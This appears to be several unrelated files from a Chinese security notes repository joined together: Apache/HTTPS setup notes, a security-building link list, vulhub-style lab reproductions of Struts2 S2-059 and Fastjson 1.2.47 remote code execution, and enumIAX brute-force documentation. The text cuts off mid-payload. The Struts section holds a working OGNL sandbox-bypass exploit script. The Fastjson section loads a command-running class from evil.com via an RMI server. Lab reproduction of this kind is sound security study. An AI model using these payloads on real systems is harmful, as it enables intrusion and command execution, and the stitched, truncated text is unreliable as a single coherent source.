/data/web_data ``` ```vim vim /data/web_data/index.html fubuki!!fubuki!!fubuki!!fubuki!! ``` **创建证书** ```bash cd /etc/pki/CA/private openssl genrsa 2048 > cakey.pem openssl req -new -x509 -key cakey.pem > /etc/pki/CA/cacert.pem cd /etc/pki/CA touch index.txt # 索引文件 touch serial # 给客户发证编号存放文件 echo 01 > serial mkdir /etc/httpd/ssl cd /etc/httpd/ssl openssl genrsa 1024 > httpd.key openssl req -new -key httpd.key > httpd.csr openssl ca -days 365 -in httpd.csr > httpd.crt # 查看 openssl 证书数据库文件 cat /etc/pki/CA/index.txt ``` ```bash httpd -t # 检查配置 setenforce 0 firewall-cmd --zone=public --add-service=http --permanent firewall-cmd --zone=public --add-service=https --permanent firewall-cmd --reload service httpd start ``` ```bash curl http://www.abc.com curl https://www.abc.com ``` ### B - 配置 http 服务,以虚拟主机的方式创建 web 站点 - 将 `/etc/httpd/conf.d/ssl.conf` 重命名为 ssl.conf.bak - 配置文件名为 virthost.conf,放置在 `/etc/httpd/conf.d` 目录下; - 配置 https 功能,https 所用的证书httpd.crt、私钥 httpd.key 放置在 `/etc/httpd/ssl` 目录中(目录需自己创建,httpd.crt、httpd.key 均文件从 serverA 复制); - 使用 www.abc.com 作为域名进行访问; - 提供 http、https 服务,仅监听 192.168.1XX.33 的地址. **安装** ``` yum -y install httpd yum -y install mod_ssl ``` **配置虚拟主机文件** ```vim vim /etc/httpd/conf.d/virthost.conf <VirtualHost 192.168.1xx.33:80> ServerName www.abc.com DocumentRoot "/data/web_data" <Directory "/data/web_data"> Require all granted </Directory> </VirtualHost> Listen 192.168.1XX.33:443 <VirtualHost 192.168.1xx.33:443> ServerName www.abc.com DocumentRoot "/data/web_data" SSLEngine on SSLCertificateFile /etc/httpd/ssl/httpd.crt SSLCertificateKeyFile /etc/httpd/ssl/httpd.key <Directory "/data/web_data"> Require all granted </Directory> </VirtualHost> ``` > mv /etc/httpd/conf.d/ssl.conf /etc/httpd/conf.d/ssl.conf.bak index.html 内容使用 fubuki!!fubuki!!fubuki!!fubuki!! ```bash mkdir -p /data/web_data ``` ```vim vim /data/web_data/index.html fubuki!!fubuki!!fubuki!!fubuki!! ``` ```bash mkdir /etc/httpd/ssl cd /etc/httpd/ssl scp root@192.168.1xx.22:/etc/httpd/ssl/httpd.key /etc/httpd/ssl/httpd.key scp root@192.168.1xx.22:/etc/httpd/ssl/httpd.crt /etc/httpd/ssl/httpd.crt ``` ```bash httpd -t # 检查配置 setenforce 0 firewall-cmd --zone=public --add-service=http --permanent firewall-cmd --zone=public --add-service=https --permanent firewall-cmd --reload service httpd start ``` --- ## 目录结构 **apache2** `/etc/apache2` - apache2.conf : 这是服务器的主要配置文件。几乎所有的配置都可以在这个文件中完成,不过为了简单起见,建议使用单独的指定文件。这个文件将配置默认值,是服务器读取配置细节的中心点。 - ports.conf : 这个文件用于指定虚拟主机应该监听的端口。如果你在配置 SSL,请务必检查这个文件是否正确。 - conf.d/ : 这个目录用于控制 Apache 配置的特定方面。例如,它经常被用来定义 SSL 配置和默认安全选择。 - sites-available/ : 这个目录包含了所有定义不同网站的虚拟主机文件。这些文件将确定哪些内容被服务于哪些请求。这些是可用的配置,而不是活动的配置。 - sites-enabled/ : 这个目录确定了实际使用的虚拟主机定义。通常,这个目录由 "sites-available"目录中定义的文件的符号链接组成。 - mods-[enabled,available]/ : 这些目录在功能上与网站目录类似,但它们定义了可以选择加载的模块。 --- ## apache+mod_ssl - 配置 http+https 服务,建立一个 web 站点; 0. 安装 ```bash yum -y install httpd yum -y install mod_ssl ``` 1. 使用 www.abc.com 作为域名进行访问; ```bash nslookup www.abc.com ``` 2. 网站根目录为 /var/www/html; ```vim vim /etc/httpd/conf/httpd.conf DocumentRoot "/var/www/html" ServerName xx.xx.xx.xx:80 ``` 3. Index.html 内容使用 fubuki!fubuki!fubuki!fubuki!; ```vim vim var/www/html/index.html fubuki!fubuki!fubuki!fubuki! ``` ```bash service httpd restart 或 systemctl start httpd 记得关防火墙 firewall-cmd --zone=public --add-port=8080/tcp --permanent firewall-cmd --reload ``` 4. 配置 https 服务使原站点能使用 https 访问. ```bash # 查看证书密钥位置 sed -n '/^SSLCertificateFile/p;/^SSLCertificateKeyFile/p '/etc/httpd/conf.d/ssl.conf # 删除原来的密钥 cd /etc/pki/tls/private/ rm -f localhost.key # 新建密钥文件 openssl genrsa 1024 > localhost.key # 删除原来的证书 cd ../certs rm -rf localhost.crt # 新建证书文件 openssl req -new -x509 -days 365 -key ../private/localhost.key -out localhost.crt 防火墙放行 https,重启服务,测试 ``` 设置 SELINUX 状态为 Disabled; ```bash setenforce 0 ``` ```vim vim /etc/selinux/config SELINUX=disabled ``` --- ## 配置https **使用 Let’s Encrypt 直接上 https** ```bash yum install -y yum-utils yum-config-manager --enable rhui-REGION-rhel-server-extras rhui-REGION-rhel-server-optional yum install -y certbot python2-certbot-apache certbot --apache firewall-cmd --zone=public --add-service=https --permanent firewall-cmd --reload ``` **mod_ssl 为 linux 提供 web 证书** ```bash cd /etc/pki/CA/private openssl genrsa 2048 > cakey.pem openssl req -new -x509 -key cakey.pem > /etc/pki/CA/cacert.pem cd /etc/pki/CA touch index.txt # 索引问文件 touch serial # 给客户发证编号存放文件 echo 01 > serial mkdir /etc/httpd/ssl cd /etc/httpd/ssl openssl genrsa 1024 > httpd.key openssl req -new -key httpd.key > httpd.csr openssl ca -days 365 -in httpd.csr > httpd.crt # 使用 cat /etc/pki/CA/index.txt 查看 openssl 证书数据库文件 cat /etc/pki/CA/index.txt ``` **mod_ssl 为 windows 提供 web 证书** ```bash cd /etc/pki/CA/private openssl genrsa 2048 > cakey.pem openssl req -new -x509 -key cakey.pem > /etc/pki/CA/cacert.pem cd /etc/pki/CA touch index.txt # 索引问文件 touch serial # 给客户发证编号存放文件 echo 01 > serial cd openssl genrsa 1024 > httpd.key openssl req -new -key httpd.key > httpd.csr openssl ca -days 365 -in httpd.csr > httpd.crt openssl pkcs12 -export -out server.pfx -inkey httpd.key -in httpd.crt # 自己把 server.pfx 导出给 windows2008 主机 ``` **向 windows CA 服务器申请证书** ```bash Openssl genrsa 2048 > httpd.key openssl req -new -key httpd.key -out httpd.csr ``` 通过这个 csr 文件在内部的 windows CA 服务器上申请证书 --- ## 配置php <p align="center"> <img src="../../../../assets/img/logo/php.svg" width="20%"> </p> ```bash 若之前安装过其他版本 PHP,先删除 yum remove php* rpm 安装 PHP7 相应的 yum 源 rpm -Uvh https://dl.fedoraproject.org/pub/epel/epel-release-latest-7.noarch.rpm rpm -Uvh https://mirror.webtatic.com/yum/el7/webtatic-release.rpm yum install php70w php70w-fpm php -v # 查看PHP版本 service php-fpm start # 要运行 PHP 网页,要启动 php-fpm 解释器 ``` ```bash vim /etc/httpd/conf/httpd.conf # 将Require all denied 改为Require all granted <Directory /> AllowOverride none Require all granted </Directory> # 增加一行 AddType application/x-httpd-php .php AddType application/x-httpd-php .php # 增加索引页 index.php,在 DirectoryIndex index.html 后面 增加索引页 index.php <IfModule dir_module> DirectoryIndex index.html index.php </IfModule> ``` 检查配置文件 httpd.conf 的语法是否正确 ```bash apachectl -t ``` 检测 php 是否正常解析 ``` echo "<?php phpinfo(); ?>" > /var/www/html/1.php service httpd restart firewall-cmd --zone=public --add-service=http --permanent firewall-cmd --reload ``` 访问 `机器相应ip/1.php` --- ## 泛解析 ```bash <VirtualHost 192.168.1.1> ServerName "www.ffffffff0x.com" # 默认域名 ServerAlias *.ffffffff0x.com # 用*表示泛域名 </VirtualHost> ``` --- ## 修改 header 头 以 debian 为例,修改 /etc/apache2/conf-available/security.conf 将內容中 ServerTokens 对应的值改为 Prod ```diff -- ServerTokens OS ++ ServerTokens Prod ``` 前后区别 --- ## Source & Reference - [Linux下Apache与httpd的区别与关系](https://blog.csdn.net/yxfabcdefg/article/details/32324035) - [Apache对域名的泛解析方法集锦](https://blog.csdn.net/beyondhjjyt/article/details/8939682)
sec-knowleage
# 安全建设 --- ## 免责声明 `本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.` --- ## 大纲 * **[安防措施](#安防措施)** * [蜜罐](#蜜罐) * [RASP](#rasp) * [IDS & IPS](#ids--ips) * [HIDS & EDR](#hids--edr) * [沙箱](#沙箱) * [WAF](#waf) * [反制手段](#反制手段) * [篡改监测](#篡改监测) * [SOC](#SOC) * **[业务层面](#业务层面)** * [认证](#认证) * [端口敲门](#端口敲门) * [加密](#加密) * [加固](#加固) * **[数据安全](#数据安全)** * **[云安全](#云安全)** * **[供应链安全](#供应链安全)** * **[解决方案](#解决方案)** * [ZTA](#zta) --- **相关文章** - [蓝队的自我修养之事中监控 | HVV经验分享](https://mp.weixin.qq.com/s/td6wLycvvogyJLvYji-V-w) - [网络安全对抗中蓝方防护技巧秘籍](https://www.anquanke.com/post/id/214329) - [企业安全应急响应中心建设理论与实践](https://security.tencent.com/index.php/blog/msg/84) - [一个人的“安全部” - FreeBuf互联网安全新媒体平台](https://www.freebuf.com/articles/security-management/126254.html) - [“一个人”的互金企业安全建设总结](https://www.freebuf.com/articles/neopoints/158724.html) - [“一个人”的互金企业安全建设总结续篇](https://www.freebuf.com/articles/es/225580.html) - [一个人的安全部之大话企业数据安全保护](https://www.freebuf.com/articles/database/185288.html) - [一个人的安全部之企业信息安全建设规划](https://www.freebuf.com/articles/es/184078.html) - [如何安全的存储用户的密码](http://xdxd.love/2018/02/26/%E5%A6%82%E4%BD%95%E5%AE%89%E5%85%A8%E7%9A%84%E5%AD%98%E5%82%A8%E7%94%A8%E6%88%B7%E7%9A%84%E5%AF%86%E7%A0%81/) - [经验分享 | 企业如何做好安全基线配置](https://www.freebuf.com/articles/es/158781.html) - [生日、姓名和双相安全性:了解中国网络用户的密码](https://mp.weixin.qq.com/s/Xywl2gJbonvosW-Gm10MjQ) - [我所认知的甲方信息安全建设经验](https://mp.weixin.qq.com/s/0Uu_os9MB5ZHnowlWkYbEA) - [【君哥访谈】谭晓生:论CISO的个人修养](https://mp.weixin.qq.com/s/OQgfTosjAWVSEGlCuBKF5A) - [银行业安全运营平台的建设与思考](https://mp.weixin.qq.com/s/UncU7f92p5Mlxt353Galrg) - [实录 | kEvin1986:浅谈风控安全](https://mp.weixin.qq.com/s/9vl6JlFigxKukXwV4Yf0Hg) - [JS逆向|某行业大佬对坑风控的一些经验总结](https://mp.weixin.qq.com/s/HZiqcjERKw1R8LlqPqdJyw) - [攻击推理,一文了解“离地攻击”的攻与防](https://mp.weixin.qq.com/s/woVNFdBSPOau-ASabbho2Q) - [企业安全建设](https://0x0d.im/archives/enterprise-security-construction.html) - [企业安全建设 - 安全中台](https://0x0d.im/archives/enterprise-security-construction-security-platform.html) - [企业安全建设的体系思考与落地实践](https://mp.weixin.qq.com/s/rmd8CvQKRMQWFR1o3t7I8w) - [谷歌是如何做应急响应的](https://mp.weixin.qq.com/s/fZjdJJbJcqDP9gRfsvdHLg) - [CSO入狱启示、如何防止门禁卡被复制、关于钓鱼演练的探讨,包括点击率、填写率、演练频率、意识培训和价值等 | 总第174周](https://mp.weixin.qq.com/s/I7TJjD69h-jTmUDtkMU-Cg) --- ## 安防措施 ### 蜜罐 **简介** 蜜罐技术本质上是一种对攻击方进行 欺骗的技术,通过布置一些作为 诱饵的主机、网络服务或者信息,诱使攻击方对它们实施攻击,从而可以对攻击行为进行捕获和分析,了解攻击方所使用的工具与方法,推测攻击意图和动机,能够让防御方清晰地了解他们所面对的安全威胁,并通过技术和管理手段来增强实际系统的安全防护能力。 蜜罐好比是情报收集系统。蜜罐好像是故意让人攻击的目标,引诱黑客前来攻击。所以攻击者入侵后,你就可以知道他是如何得逞的,随时了解针对服务器发动的最新的攻击和漏洞。 **相关文章** - [工业控制系统蜜罐的初步介绍](https://www.freebuf.com/articles/ics-articles/237518.html) - [精确判断网站访问者是否是黑客的方法](https://mp.weixin.qq.com/s/V0WdN9CMrTqo6qInuwyR6g) - [Redis未授权漏洞蜜罐模拟与捕获分析](https://www.freebuf.com/vuls/341309.html) - [反-反蜜罐:以三个反蜜罐插件的缺陷为例](https://drivertom.blogspot.com/2022/07/blog-post.html) - [企业蜜罐建设实践](https://tttang.com/archive/1832/) **蜜罐数据** - http://www.nothink.org/ **各类蜜罐** - [paralax/awesome-honeypots](https://github.com/paralax/awesome-honeypots) - awesome 系列蜜罐资源列表 - [mushorg/Conpot](https://github.com/mushorg/conpot) - 一个开源的 ICS/SCADA 蜜罐系统 - [Conpot搭建过程记录](./实验/安防设施搭建使用.md#conpot) - [hacklcx/HFish](https://github.com/hacklcx/HFish) - 一款基于 Golang 开发的跨平台多功能主动诱导型开源蜜罐框架系统 - [HFish搭建过程记录](./实验/安防设施搭建使用.md#hfish) **检测技术** - [TomAPU/checkburp](https://github.com/TomAPU/checkburp) **网络协议生成器** - [fofapro/fapro](https://github.com/fofapro/fapro) - 免费、跨平台、单文件部署的网络协议服务端模拟器 ``` fapro genConfig > fapro.json fapro run -v -l :9090 ``` ### RASP **相关文章** - [浅谈RASP技术攻防之基础篇](https://www.freebuf.com/articles/web/197823.html) - [RASP技术分析](http://blog.nsfocus.net/rasp-tech/) **产品** - [openrasp](https://github.com/baidu/openrasp/) - 百度开源的 RASP 解决方案 - [Prevoty](https://www.imperva.com/products/runtime-application-self-protection-rasp/) - imperva 的 RASP 方案 --- ### IDS & IPS **相关文章** - [IDS 和 IPS 的部署细节科普](https://www.freebuf.com/149445.html) - [入侵检测术语全接触](https://zhuanlan.zhihu.com/p/30434636) - [流量分析在安全攻防上的探索实践](https://security.tencent.com/index.php/blog/msg/148) - [Snort VS Suricata](https://zhuanlan.zhihu.com/p/34329072) **相关工具** - [snort](https://www.snort.org/) - 开源的 IPS 产品,效果不错 - [snort 笔记](../安全工具/Snort.md) - [Suricata](https://suricata-ids.org/) - 免费开源 IDS,IPS 和 NSM 引擎。 - [Suricata 笔记](../安全工具/Suricata.md) - [Security Onion](https://securityonion.net/) - 一款专为入侵检测和 NSM(网络安全监控)设计的 Linux 发行版。其安装过程很简单,在短时间内就可以部署一套完整的 NSM 收集、检测和分析的套件。 - 相关文章: - [快速安装可视化IDS系统Security Onion](https://blog.51cto.com/chenguang/1783994) - [入侵检测系统security onion](https://www.jianshu.com/p/a3541ee96f46) - [Security Onion介绍](https://zhuanlan.zhihu.com/p/34072611) - [kitabisa/teler](https://github.com/kitabisa/teler) - Real-time HTTP Intrusion Detection - [stratosphereips/StratosphereLinuxIPS](https://github.com/stratosphereips/StratosphereLinuxIPS) - Slips, a free software behavioral Python intrusion prevention system (IDS/IPS) that uses machine learning to detect malicious behaviors in the network traffic **规则库** - [ptresearch/AttackDetection](https://github.com/ptresearch/AttackDetection) - 常见 cve 漏洞的规则库 - [digitalbond/Quickdraw-Snort](https://github.com/digitalbond/Quickdraw-Snort) - 针对 ICS 和 ICS 协议的 IDS/IPS 规则 - [suricata-rules/suricata-rules](https://github.com/suricata-rules/suricata-rules) - 此项目记录安全运营人员提取的高质量 Suricata IDS 规则 - [jasonish/suricata-trafficid](https://github.com/jasonish/suricata-trafficid) - [Index of /open/suricata/rules](https://rules.emergingthreats.net/open/suricata/rules/) - Emerging Threats 维护的规则 - [codecat007/snort-rules](https://github.com/codecat007/snort-rules) - 一个非正式的 Snort 规则(IDS 规则)仓库。 - [sudohyak/suricata-rules](https://github.com/sudohyak/suricata-rules) - [al0ne/suricata-rules](https://github.com/al0ne/suricata-rules) - Suricata IDS rules 用来检测红队渗透/恶意行为等,支持检测 CobaltStrike/MSF/Empire/DNS隧道/Weevely/菜刀/冰蝎/挖矿/反弹shell/ICMP隧道等 - [ainrm/cobaltstrike-suricata-rules](https://github.com/ainrm/cobaltstrike-suricata-rules) - 检测 cobaltstrike 的 suricata-ids 规则 --- ### HIDS & EDR **相关文章** - [终端入侵检测及防御规避之旅](https://mp.weixin.qq.com/s/hJlSZ4iZ5kSJNTGngD9zMg) **相关工具** - [bytedance/Elkeid](https://github.com/bytedance/Elkeid) - Elkeid 是一个云原生的基于主机的安全(入侵检测与风险识别)解决方案。 - [404星链计划 | 抗击黑客:如何利用Elkeid构建入侵检测能力](https://mp.weixin.qq.com/s/iwvkIdgMblVOH7Agg_wXtQ) --- ### 沙箱 **相关工具** - [cuckoosandbox/cuckoo](https://github.com/cuckoosandbox/cuckoo) - Cuckoo Sandbox is an automated dynamic malware analysis system --- ### WAF **相关文章** - [WAF 产品的探索](https://zhuanlan.zhihu.com/p/25307262) - [自研WAF之路——如何把Web流量转给WAF](https://www.freebuf.com/articles/web/271839.html) - [WAF介绍及误报漏报挖掘姿势](https://www.freebuf.com/column/238017.html) **开源waf** - [ModSecurity](https://github.com/SpiderLabs/ModSecurity) - [ModSecurity-nginx](https://github.com/SpiderLabs/ModSecurity-nginx) - [ModSecurity笔记](../安全工具/ModSecurity.md) - [wallarm/api-firewall](https://github.com/wallarm/api-firewall) - Fast and light-weight API proxy firewall for request and response validation by OpenAPI specs. - [nbs-system/naxsi](https://github.com/nbs-system/naxsi) **waf测试** - [Test and evaluate your WAF before hackers](https://lab.wallarm.com/test-your-waf-before-hackers/) - [wallarm/gotestwaf](https://github.com/wallarm/gotestwaf) - An open-source project in Golang to test different web application firewalls (WAF) for detection logic and bypasses --- ### 反制手段 **相关文章** - [端内钓鱼,反制蚁剑](https://mp.weixin.qq.com/s/5zEzHo1I2xKdweb_vREWgg) - [闲来无事,反制GOBY](https://mp.weixin.qq.com/s/EPQZs5eQ4LL--tao93cUfQ) - [反序列化小子捕获器-反制ysoserial](https://mp.weixin.qq.com/s/Ww_IxNLXI0KWZYERGwu3bg) - [渗透测试工具 OWASP ZAP 的 RCE 反制](https://tttang.com/archive/1468/) **基于 TLS 指纹** - [SSL 指纹识别和绕过](https://ares-x.com/2021/04/18/SSL-%E6%8C%87%E7%BA%B9%E8%AF%86%E5%88%AB%E5%92%8C%E7%BB%95%E8%BF%87/) - 更多内容参考 [SSL](../RedTeam/协议安全/Protocol-Exploits.md#SSL) - 红队绕过手段 - 找源ip绕过安全设备访问 - 替换使用的网络请求库 (例如:request换为aiohttp) - 通过代理进行访问 - 修改使用的网络请求库的tls特征 **反制扫描工具** - [alexzorin/cve-2021-34558](https://github.com/alexzorin/cve-2021-34558) **污染扫描结果** - [zema1/yarx](https://github.com/zema1/yarx) - 一个自动化根据 xray poc 生成对应 server 的工具 - [反制终局:最后的拼图Xray](https://mp.weixin.qq.com/s/cddGshf9zhBK2TJgQi5vVA) **mysql反制** - [Gifts/Rogue-MySql-Server](https://github.com/Gifts/Rogue-MySql-Server) - [BeichenDream/MysqlT](https://github.com/BeichenDream/MysqlT) - 伪造 Myslq 服务端, 并利用 Mysql 逻辑漏洞来获取客户端的任意文件反击攻击者 **钓鱼反制** - [CC11001100/idea-project-fish-exploit](https://github.com/CC11001100/idea-project-fish-exploit) - JetBrains系列产品 .idea 钓鱼反制红队 - [wendell1224/ide-honeypot](https://github.com/wendell1224/ide-honeypot) - 一款针对于 IDE 的反制蜜罐 **Burp Suite反制** - [Burp Suite反制](../安全工具/BurpSuite.md#蓝队反制) **CobaltStrike反制** - [CobaltStrike反制](../安全工具/CobaltStrike.md#蓝队反制) --- ### 篡改监测 **相关工具** - [rabbitmask/Libra](https://github.com/rabbitmask/Libra) - 网站篡改、暗链、死链监测平台 --- ### SOC **相关文章** - [小甲方“零经费”如何建设自己的安全运营平台](https://mp.weixin.qq.com/s/VtVEKTzO-7XgidIcGj4p9A) - [谈一谈如何建设体系化的安全运营中心(SOC)](https://mp.weixin.qq.com/s/0wS4OTuq5yOfdmXSrsmzlg) --- ### BAS **相关文章** - [BAS那点事儿](https://xz.aliyun.com/t/11880) --- ## 业务安全 ### 认证 **相关文章** - [这45个账号安全风险,你check了吗?](https://mp.weixin.qq.com/s/RzDHjRbw6DnQxig_QFxV7Q) #### 端口敲门 **JS 钥匙** - [EtherDream/js-port-knocking](https://github.com/EtherDream/js-port-knocking) - Web 端口敲门的奇思妙想 **ping 钥匙** - [使用 ping 钥匙临时开启 SSH:22 端口,实现远程安全 SSH 登录管理就这么简单](https://www.cnblogs.com/martinzhang/p/5348769.html) ### 加密 **相关文章** - [企业安全建设-磁盘加密](https://www.t00ls.net/thread-58461-1-1.html) ### 加固 - [加固](./加固.md) ### 威胁情报 - [威胁情报](./应急.md#威胁情报) --- ## 数据安全 **相关文章** - [讲一讲数据安全,如何有效预防脱库](https://ningyu1.github.io/20201229/datasource-security.html) - [讲一讲加密数据如何进行模糊查询](https://ningyu1.github.io/20201230/encrypted-data-fuzzy-query.html) - [密文字段检索方案](https://open.taobao.com/docV3.htm?docId=106213&docType=1) - [初探数据安全防泄漏开源工具——OpenDLP](https://mp.weixin.qq.com/s/_PiZDUCt4dAyJuRgTua7og) - [Google数据安全自动化建设之路(白皮书)](https://zhuanlan.zhihu.com/p/564689012) - [好大夫数据安全分类分级实践探索](https://mp.weixin.qq.com/s/IrruQqJxcomFEgV8QutNfg) --- ## 云安全 **相关文章** - [绿盟科技云安全纲领(上)](https://mp.weixin.qq.com/s/oV7f1kKFZcJT0lAkNwuGsg) - [绿盟科技云安全纲领(中)](https://mp.weixin.qq.com/s/JZJRw1UNFizvd1nYnnSX-w) - [绿盟科技云安全纲领(下)](https://mp.weixin.qq.com/s/VaIcX_WVqb1SsTz5lgf8rA) - [当安全遇见SERVICE MESH](http://blog.nsfocus.net/service-mesh/) - [公有云攻防系列:云凭证的泄露与利用](https://mp.weixin.qq.com/s/jTMxeJcc3vlrnf7RWeSGBQ) --- ## 供应链安全 **相关文章** - [企业安全建设 - 软件供应链](https://0x0d.im/archives/enterprise-security-construction-software-supply-chain.html) - [开源软件供应链安全系列:OSS风险点与预防](https://mp.weixin.qq.com/s/Sn9-qk_cfgTHBJh9ourD4A) --- ## 通信安全 **相关文章** - [BlackHat2022:4G/5G新型前门攻击解读](https://mp.weixin.qq.com/s/X1lD5PLkUsexAv0B7R3aOQ) --- ## 机器学习 **相关文章** - [Exploring Prompt Injection Attacks – NCC Group Research](https://research.nccgroup.com/2022/12/05/exploring-prompt-injection-attacks/) --- ## 威胁建模 **相关文章** - [AWS教你如何做威胁建模](https://mp.weixin.qq.com/s/RFdt5vjfVnsX1JFWpkEZYg) --- ## 解决方案 ### 零信任 `零信任架构` **相关文章** - [基于零信任的精益信任安全访问架构平台](https://c-csa.cn/case/case-detail/i-227/) - [奇安信:零信任安全解决方案在部委大数据中心的实践案例](https://c-csa.cn/case/case-detail/i-155/) - [绿盟科技零信任安全解决方案](https://c-csa.cn/case/case-detail/i-154/) - [浅谈Forrester零信任架构评估的7个技术维度](https://mp.weixin.qq.com/s/IZ3BGi3rPwcBgsTlc_ILLg) - [Illumio六部曲 | 微分段有效性实战评估](https://mp.weixin.qq.com/s/fXobpzDrlTW8WvLIgecYQA) - [零信任(一)简史与 BeyondCorp](https://mp.weixin.qq.com/s/E3Hn33XDKCuS-e3GJmdsvA) - [零信任(二)NIST 架构与思考总结](https://mp.weixin.qq.com/s/RksJgWkFwD158WR-s3yr0w) - [零信任实践分享](http://ckev.in/j/ztcn/) **相关资源** - [零信任技术 - 中国信息通信研究院](http://www.caict.ac.cn/kxyj/qwfb/ztbg/202008/P020200812382865122881.pdf) **BeyondCorp** BeyondCorp 是 Google 内部的零信任安全模型,旨在让每个员工都能在不借助 VPN 的情况下通过不受信任的网络工作。作为目前实现零信任落地最全面的企业,其方案是最具有参考价值的。 - [BeyondCorp: A New Approach to Enterprise Security](https://research.google/pubs/pub43231/) - 翻译 : [Google BeyondCorp系列论文(一):一种新的企业安全方法](https://www.secrss.com/articles/6019) - [BeyondCorp: Design to Deployment at Google](https://research.google/pubs/pub44860/) - 翻译 : [Google BeyondCorp系列论文(二):BeyondCorp从设计到部署](https://www.secrss.com/articles/6191) - [BeyondCorp: The Access Proxy](https://research.google/pubs/pub45728/) - 翻译 : [Google BeyondCorp系列论文(三):BeyondCorp访问代理](https://www.secrss.com/articles/6357) - [Migrating to BeyondCorp: Maintaining Productivity While Improving Security](https://research.google/pubs/pub46134/) - 翻译 : [Google BeyondCorp系列论文(四):迁移到BeyondCorp](https://www.secrss.com/articles/6529) - [BeyondCorp: The User Experience](https://research.google/pubs/pub46366/) - 翻译 : [Google BeyondCorp系列论文(五):用户体验](https://www.secrss.com/articles/6677) - [BeyondCorp 6: Building a Healthy Fleet](https://research.google/pubs/pub47356/) - 翻译 : [Google BeyondCorp系列论文(六):构建健康的机群](https://www.secrss.com/articles/7013) **完美世界 2020 零信任建设相关** - [零信任架构实战系列:无密码化方案落地](https://www.freebuf.com/articles/es/233728.html) - [零信任架构实战系列:使用零信任远程办公](https://www.freebuf.com/articles/es/230955.html) - [零信任架构实战系列:如何选择零信任架构](https://www.freebuf.com/articles/es/231975.html)
sec-knowleage
# Struts2 S2-059 远程代码执行漏洞(CVE-2019-0230) Apache Struts框架, 会对某些特定的标签的属性值,比如id属性进行二次解析,所以攻击者可以传递将在呈现标签属性时再次解析的OGNL表达式,造成OGNL表达式注入。从而可能造成远程执行代码。 影响版本: Struts 2.0.0 - Struts 2.5.20 参考链接: - https://cwiki.apache.org/confluence/display/WW/S2-059 - https://securitylab.github.com/research/ognl-apache-struts-exploit-CVE-2018-11776 ## 漏洞环境 启动 Struts 2.5.16环境: ``` docker compose up -d ``` 启动环境之后访问`http://your-ip:8080/?id=1` 就可以看到测试界面 ## 漏洞复现 访问 `http://your-ip:8080/?id=%25%7B233*233%7D`,可以发现233*233的结果被解析到了id属性中: ![1.png](1.png) 《[OGNL Apache Struts exploit: Weaponizing a sandbox bypass (CVE-2018-11776)](https://securitylab.github.com/research/ognl-apache-struts-exploit-CVE-2018-11776)》给出了绕过struts2.5.16版本的沙盒的poc,利用这个poc可以达到执行系统命令。 通过如下Python脚本复现漏洞: ```python import requests url = "http://127.0.0.1:8080" data1 = { "id": "%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}" } data2 = { "id": "%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('touch /tmp/success'))}" } res1 = requests.post(url, data=data1) # print(res1.text) res2 = requests.post(url, data=data2) # print(res2.text) ``` 执行poc之后,进入容器发现`touch /tmp/success`已成功执行。 ![2.png](2.png)
sec-knowleage
version: '2' services: web: image: vulhub/goahead:3.6.4 ports: - "8080:80" volumes: - ./index:/var/www/goahead/cgi-bin/index
sec-knowleage
--- title: enumIAX categories: Information Gathering tags: [voip,information gathering,recon,enumeration,enumiax,kali linux] date: 2016-10-23 16:43:45 --- 0x00 enumIAX介绍 ------------- enumIAX(enum Inter Asterisk eXchange)是一个Asterisk系统内部交换协议用户名b暴力枚举工具。 enumIAX可以以两种不同的模式进行顺序用户名猜测或字典攻击。 Asterisk是一款GPLv2协议下的开源电话应用平台。简单来说,Asterisk是一个服务器应用,能够完成发起电话呼叫、接受电话呼叫、对电话呼叫进行定制处理,更多参考[开源应用架构之asterisk][1]。 工具来源:http://enumiax.sourceforge.net/ [enumIAX主页][2] | [Kali enumIAX Repo仓库][3] - 作者:Dustin D. Trammell - 证书:GPLv2 0x01 enumIAX功能 --------------- ```shell root@kali:~# enumiax -h enumIAX 0.4a Dustin D. Trammell <dtrammell@tippingpoint.com> 用法: enumiax [选项] 目标 选项: -d <dict> 使用<dict>文件的字典攻击      -i <count> 自动保存的间隔(操作数,默认1000)      -m # 最小用户名长度(以字符为单位)      -M # 最大用户名长度(以字符为单位)      -r # 速率限制呼叫(以微秒为单位)      -s <file> 从状态文件读取会话状态      -v 增加详细程度(用于更多信息显示)      -V 打印版本信息并退出      -h 打印帮助/使用信息并退出 ``` 0x02 enumIAX用法示例 ----------------- ```shell root@kali:~# enumiax -d /usr/share/wordlists/metasploit/unix_users.txt 192.168.1.1 ``` [1]: http://blog.chinaunix.net/uid-7947787-id-3194117.html [2]: http://enumiax.sourceforge.net/ [3]: http://git.kali.org/gitweb/?p=packages/enumiax.git;a=summary
sec-knowleage
# Fastjson 1.2.47 远程命令执行漏洞 Fastjson是阿里巴巴公司开源的一款json解析器,其性能优越,被广泛应用于各大厂商的Java项目中。fastjson于1.2.24版本后增加了反序列化白名单,而在1.2.48以前的版本中,攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令。 参考链接: - https://cert.360.cn/warning/detail?id=7240aeab581c6dc2c9c5350756079955 - https://www.freebuf.com/vuls/208339.html ## 漏洞环境 执行如下命令启动一个spring web项目,其中使用fastjson作为默认json解析器: ```shell docker compose up -d ``` 环境启动后,访问`http://your-ip:8090`即可看到一个json对象被返回,我们将content-type修改为`application/json`后可向其POST新的JSON对象,后端会利用fastjson进行解析。 ## 漏洞复现 目标环境是`openjdk:8u102`,这个版本没有`com.sun.jndi.rmi.object.trustURLCodebase`的限制,我们可以简单利用RMI进行命令执行。 首先编译并上传命令执行代码,如`http://evil.com/TouchFile.class`: ```java // javac TouchFile.java import java.lang.Runtime; import java.lang.Process; public class TouchFile { static { try { Runtime rt = Runtime.getRuntime(); String[] commands = {"touch", "/tmp/success"}; Process pc = rt.exec(commands); pc.waitFor(); } catch (Exception e) { // do nothing } } } ``` 然后我们借助[marshalsec](https://github.com/mbechler/marshalsec)项目,启动一个RMI服务器,监听9999端口,并制定加载远程类`TouchFile.class`: ```shell java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://evil.com/#TouchFile" 9999 ``` 向靶场服务器发送Payload: ``` { 